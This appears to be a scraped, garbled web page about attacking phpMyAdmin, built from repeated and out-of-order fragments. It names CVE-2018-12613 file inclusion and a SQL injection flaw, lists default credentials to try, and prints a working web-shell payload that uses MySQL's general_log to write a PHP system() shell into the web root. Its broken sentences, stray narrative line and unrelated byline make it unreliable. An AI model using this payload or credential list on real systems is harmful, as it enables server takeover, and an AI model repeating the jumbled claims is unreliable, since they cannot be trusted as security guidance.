Phpmyadmin | Hacktricks Verified
This verified vulnerability affects phpMyAdmin versions 4.8.0 through 4.8.1. Due to a flaw in page filtering, an authenticated user can include arbitrary files from the server. Proof of Concept (PoC) URL: http://target.com
If the setup directory or the config.inc.php file is left exposed, attackers can gain insights into the database structure or credentials. Verified Reconnaissance Steps
One of the most famous "verified" exploits involves , which affects versions 4.8.0 and 4.8.1.
privilege. For more detailed methodologies, see the HackTricks MySQL guide. phpMyAdmin Improper Authentication · CVE-2018-12613
regarding session files. He knew that phpMyAdmin stores session data in /var/lib/php/sessions/ phpmyadmin hacktricks verified
When configuration flaws aren't present, unpatched software vulnerabilities offer a direct path to exploitation. CVE-2018-12613: Local File Inclusion (LFI)
MySQL 5.x, MariaDB 10.x.
First, always try common default credentials:
Some setups hide it under a random or custom path, but default installations are predictable. This verified vulnerability affects phpMyAdmin versions 4
SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/shell.php'; SELECT "<?php system($_GET['c']); ?>";
This guide synthesizes verified methodology from industry-standard pentesting resources, including HackTricks, to help you audit phpMyAdmin environments securely and systematically. 1. Initial Reconnaissance and Fingerprinting
If the database has write permissions to the web root directory and secure_file_priv is disabled (empty), you can drop a persistent PHP web shell:
The following tools and resources have been verified to be useful for PHPMyAdmin hacking and security testing: Verified Reconnaissance Steps One of the most famous
If your database user has the FILE privilege and you know the absolute path of the web server's root directory, you can write a PHP web shell directly to the disk.
Affecting versions under 5.0.2, a SQL injection flaw exists in the user privileges page. An authenticated attacker can exploit this to escalate privileges or manipulate system files under specific environments. 5. Defensive Countermeasures and Hardening
| Username | Password | |----------|----------| | root | (empty) | | root | root | | root | 123456 | | pma | (empty) | | pma | pmapassword (old versions) |
Dan Burgin
U.Today Editorial Team